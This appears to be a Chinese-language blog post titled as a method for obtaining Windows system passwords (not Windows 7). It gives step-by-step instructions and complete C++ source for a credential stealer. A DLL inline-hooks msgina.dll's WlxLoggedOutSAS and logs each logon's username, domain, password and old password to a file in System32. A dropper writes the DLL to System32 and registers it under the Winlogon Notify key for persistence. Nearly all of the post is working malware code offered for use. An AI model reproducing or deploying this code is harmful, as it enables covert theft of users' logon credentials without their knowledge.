獲得系統密碼(對windows 7無效)

實現步驟:

1. 生成GetInfo.dll

2. 將生成的GetInfo.dll作爲資源放到GetPwd工程中

3. 生成GetInfo.exe

4. 運行GetInfo.exe install

5. 重啓機器,輸入密碼,進入系統後會得到C:\WINDOWS\System32\getPwdout.txt文件,文件內容爲:



實現原理:

將GetInfo.dll,放在WinLogon\Notify註冊表下時,系統啓動後會自動加載GetInfo.dll,而GetInfo.dll在加載時會HOOK掉WlxLoggedOutSAS,系統登錄時winlogon會加載WlxLoggedOutSAS函數,這個函數輸出值中有

PWLX_MPR_NOTIFY_INFO 

結構,其中就存儲了用戶名和密碼。winlogon在登錄時會調用這個函數,我們HOOK掉了這個函數,所以就能拿到登錄的用戶名和密碼了。。



GetInfo.dll的實現

// GetInfo.cpp : Defines the entry point for the DLL application.
//

#include "stdafx.h"
#include "GetInfo.h"
#include <stdio.h>
#include <fstream.h>
#include <iostream.h>

//using namespace std;
//宏定義
#define WLX_SAS_ACTION_LOGON	(1)

//WLX_MPR_NOTIFY_INFO結構
typedef struct _WLX_MPR_NOTIFY_INFO {
	PWSTR pszUserName;
	PWSTR pszDomain;
	PWSTR pszPassword;
	PWSTR pszOldPassword;
} WLX_MPR_NOTIFY_INFO, *PWLX_MPR_NOTIFY_INFO;

//函數原形
typedef int (WINAPI* WlxLoggedOutSAS)(
					PVOID pWlxContext,
					DWORD dwSasType,
					PLUID pAuthenticationId,
					PSID pLogonSid,
					PDWORD pdwOptions,
					PHANDLE phToken,
					PWLX_MPR_NOTIFY_INFO pNprNotifyInfo,
					PVOID *pProfile
					);

//自定義接管的API函數,形參保持一致
int WINAPI FunNewADDR(
							  PVOID pWlxContext,
							  DWORD dwSasType,
							  PLUID pAuthenticationId,
							  PSID pLogonSid,
							  PDWORD pdwOptions,
							  PHANDLE phToken,
							  PWLX_MPR_NOTIFY_INFO pNprNotifyInfo,
							  PVOID *pProfile
					);



//定義字節對齊方式
#pragma pack(1)
struct HookTable{
	HMODULE hMsgina;
	WlxLoggedOutSAS OldADDR;
	WlxLoggedOutSAS NewADDR;
	unsigned char charOldCode[6];
	unsigned char charJmpCode[6];
};

//全局hook表
HookTable hooktable = {
0,
0,
&FunNewADDR,
"\x8b\xff\x55\x8B\xEC",
"\xE9\x00\x00\x00\x00"
};

#pragma  pack()

//////////////////////////////////////////////////////////////////////////
/////函數聲明
///////////////////////////////////////////////////////////////////////////
VOID UnHookWlxLoggedOutSAS();
VOID WriteLog(PWLX_MPR_NOTIFY_INFO pNprNotifyInfo);
DWORD WINAPI StartHook(LPVOID lpParam);
VOID HookWlxLoggedOutSAS();


int WINAPI FunNewADDR(
					  PVOID pWlxContext,
					  DWORD dwSasType,
					  PLUID pAuthenticationId,
					  PSID pLogonSid,
					  PDWORD pdwOptions,
					  PHANDLE phToken,
					  PWLX_MPR_NOTIFY_INFO pNprNotifyInfo,
					  PVOID *pProfile
					)
/************************************************************************/
/* 函數說明:自定義函數,用來取代WlxLoggedOutSAS                        */
/* 參數:與WlxLoggedOutSAS參數相同                                      */
/* 返回值:與WlxLoggedOutSAS返回值相同                                  */
/************************************************************************/
{
	UnHookWlxLoggedOutSAS();

	int i = hooktable.OldADDR(pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pNprNotifyInfo,pProfile);
	if (i == WLX_SAS_ACTION_LOGON)
	{
		WriteLog(pNprNotifyInfo);
	}
	return i;

}


VOID WriteLog(PWLX_MPR_NOTIFY_INFO pNprNotifyInfo)
/************************************************************************/
/* 函數說明:將得到的用戶名和密碼信息寫入%system%/getPwdout.txt文件中   */
/* 參數:pNprNotifyInfo 包含用戶名和密碼的結構體                        */
/* 返回值:無                                                           */
/************************************************************************/
{
	char szSystemDir[MAX_PATH] = {0};
	GetSystemDirectory(szSystemDir, MAX_PATH - 1 );
	char szFilePath[MAX_PATH] = {0};
	strcat(szFilePath, szSystemDir);
	strcat(szFilePath, "\\getPwdout.txt");

	ofstream  outfile;
	outfile.open(szFilePath);

	char szContent[1024 * 4] = {0};
	sprintf(szContent, "username:%ws\nDomain:%ws\npassword:%ws\nOldPassword:%ws\n\n", pNprNotifyInfo->pszUserName, pNprNotifyInfo->pszDomain, pNprNotifyInfo->pszPassword, pNprNotifyInfo->pszOldPassword);
	
	outfile.write(szContent, strlen(szContent));
	outfile.close();

}

VOID HookWlxLoggedOutSAS()
/************************************************************************/
/* 函數說明:HOOK WlxLoggedOutSAS函數                              */
/* 參數:無														        */
/* 返回值:無                                                           */
/************************************************************************/
{
	DWORD OldProcte;
	VirtualProtect(hooktable.OldADDR, 5, PAGE_EXECUTE_READWRITE, &OldProcte);

	unsigned char *p = (unsigned char*)hooktable.OldADDR;
	for (int i=0; i < 5; i++)
	{
		p[i] = hooktable.charJmpCode[i];
	}
	VirtualProtect(hooktable.OldADDR, 5, OldProcte, &OldProcte);
	return;
}

VOID UnHookWlxLoggedOutSAS()
/************************************************************************/
/* 函數說明:恢復WlxLoggedOutSAS函數的原形                              */
/* 參數:無														        */
/* 返回值:無                                                           */
/************************************************************************/
{
	DWORD OldProcte;
	VirtualProtect(hooktable.OldADDR, 5, PAGE_EXECUTE_READWRITE, &OldProcte);
	
	unsigned char *p = (unsigned char*)hooktable.OldADDR;
	for (int i=0; i < 5; i++)
	{
		p[i] = hooktable.charOldCode[i];
	}
	VirtualProtect(hooktable.OldADDR, 5, OldProcte, &OldProcte);
	return;
}

DWORD WINAPI StartHook(LPVOID lpParam)
/************************************************************************/
/* 函數說明:得到WlxLoggedOutSAS函數地址,並HOOK WlxLoggedOutSAS函數    */
/* 參數:無														        */
/* 返回值:0表示成功                                                    */
/************************************************************************/
{
	//得到msgina.dll
	//hooktable.hMsgina 
	int n = 0;
	hooktable.hMsgina = LoadLibrary("msgina.dll");
	n  = GetLastError();
	if (NULL == hooktable.hMsgina)
	{
		printf("getmoduleHandle msgina.dll error");
		return -1;
	}
	//得到WlxLoggedOutSAS
	hooktable.OldADDR = (WlxLoggedOutSAS)GetProcAddress(hooktable.hMsgina, "WlxLoggedOutSAS");
	if (NULL == hooktable.OldADDR)
	{
		printf("GetProcAddress WlxLoggedOutSAS error");
		return -1;
	}
	int *OpCode = (int*)&hooktable.charJmpCode[1];
	int Code = (int)hooktable.NewADDR - (int)hooktable.OldADDR -5;
	*OpCode = Code;
	HookWlxLoggedOutSAS();
	return 0;
}
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
/************************************************************************/
/* 函數說明:DLL的主函數											    */
/* 參數:    													        */
/* 返回值:                                                             */
/************************************************************************/
{
    switch (ul_reason_for_call)
	{
		case DLL_PROCESS_ATTACH:
			{
				//::CreateThread(NULL, 0, StartHook, NULL, 0, NULL);
				StartHook(NULL);
			}
			break;
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
    }
    return TRUE;
}

// This is the constructor of a class that has been exported.
// see GetInfo.h for the class definition
CGetInfo::CGetInfo()
{ 
	return; 
}

extern "C" __declspec(dllexport) void start()
{
	return;
}

外殼工程:

// getpwd.cpp : Defines the entry point for the console application.
//

#include "afx.h"
#include <Windows.h>
#include "resource.h"
#include <Winerror.h>
#include <Shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")

LPBYTE CString_To_LPBYTE(CString str)
/************************************************************************/
/* 函數說明:將cstring類型轉換成LPBYTE類型                              */
/* 參數:str 要轉換的CString類型                                        */
/* 返回值:LPBYTE 轉換後的LPBYTE類型                                    */
/************************************************************************/

{
	LPBYTE lpb=new BYTE[str.GetLength()+1];
	for(int i=0;i<str.GetLength();i++)
		lpb[i]=str[i];
	lpb[str.GetLength()]=0;
	return lpb;
}

BOOL install()
/************************************************************************/
/* 函數說明:釋放DLL,並將DLL的路徑寫入到註冊表中                       */
/* 參數:無                                                             */
/* 返回值:無                                                           */
/************************************************************************/
{
	//釋放資源
	//定位我們的自定義資源,這裏因爲我們是從本模塊定位資源,所以將句柄簡單地置爲NULL即可
	HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_IDR_DLL1), TEXT("IDR_DLL"));
	if (NULL == hRsrc)
		return FALSE;
	//獲取資源的大小
	DWORD dwSize = SizeofResource(NULL, hRsrc); 
	if (0 == dwSize)
		return FALSE;
	//加載資源
	HGLOBAL hGlobal = LoadResource(NULL, hRsrc); 
	if (NULL == hGlobal)
		return FALSE;
	//鎖定資源
	LPVOID pBuffer = LockResource(hGlobal); 
	if (NULL == pBuffer)
		return FALSE;
	
	char szSystemDir[MAX_PATH] = {0};
	GetSystemDirectory(szSystemDir, MAX_PATH-1);
	char szRelDll[MAX_PATH] = {0};
	strcat(szRelDll, szSystemDir);
	strcat(szRelDll, "\\GetInfo.dll");
	DeleteFile(szRelDll);
	HANDLE hFile = CreateFile(szRelDll, FILE_GENERIC_READ|FILE_GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if (NULL == hFile)
	{
		return FALSE;
	}
	DWORD dwWritten;
	WriteFile(hFile, pBuffer, dwSize, &dwWritten, NULL);

	CloseHandle(hFile);	
	FreeResource(hGlobal);

	//將釋放的DLL寫入到註冊 表的WINLOGON下,當WINLOGON啓動時,會加載這個DLL
	CString strDllPath = szRelDll; //("dog");
	//設置有關的數據
    //CString_To_LPBYTE,請參考下面的函數
	LPBYTE dllpath_Set=CString_To_LPBYTE(strDllPath);//定義用戶姓名 owner_Set
	DWORD type_1=REG_SZ;//定義數據類型
	DWORD cbData_1=strDllPath.GetLength()+1;//定義數據長度
	
	DWORD status = SHSetValue(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\GetPwd\\", "dllname", type_1, dllpath_Set, cbData_1);
	if (ERROR_SUCCESS  != status)
	{
		printf("write reg:dllname error");
		return FALSE;
	}
	
	CString  strStartUp("dog");
	LPBYTE startup_set=CString_To_LPBYTE(strStartUp);//定義公司名稱 company_Set
	DWORD type_2=REG_SZ;//定義數據類型
	DWORD cbData_2=strStartUp.GetLength()+1;//定義數據長度
	
	status = SHSetValue(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\GetPwd\\", "startup", type_2, startup_set, cbData_2);
	if (ERROR_SUCCESS  != status)
	{
		printf("write reg:dllname error");
		return FALSE;
	}

	return TRUE;
}

BOOL decry()
/************************************************************************/
/* 函數說明:用於解密生成的密碼文件,生成密碼文件時沒有加密,所以這裏沒實現*/
/* 參數:無                                                             */
/* 返回值:無                                                           */
/************************************************************************/
{
	return TRUE;
}

VOID usage()
/************************************************************************/
/* 函數說明:打印使用幫助                                               */
/* 參數:無                                                             */
/* 返回值:無                                                           */
/************************************************************************/
{
	printf("************************************\n");
	printf("usages:\n");
	printf("getpwd.exe install\n");
	printf("getpwd.exe decryp\n");
	printf("************************************\n");
}


int main(int argc, char* argv[])
/************************************************************************/
/* 函數說明:Main函數                                                   */
/* 參數:無                                                             */
/* 返回值:無                                                           */
/************************************************************************/
{
	if (argc != 2)
	{
		usage();
		return -1;
	}
	if (stricmp(argv[1], "install") == 0)
	{
		install();
		getchar();
		return 0;
	}
	else if (stricmp(argv[1], "decryp") == 0)
	{
		decry();
		return 0;
	}
	else
	{
		usage();
		return 0;
	}
	
	return 0;
}


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章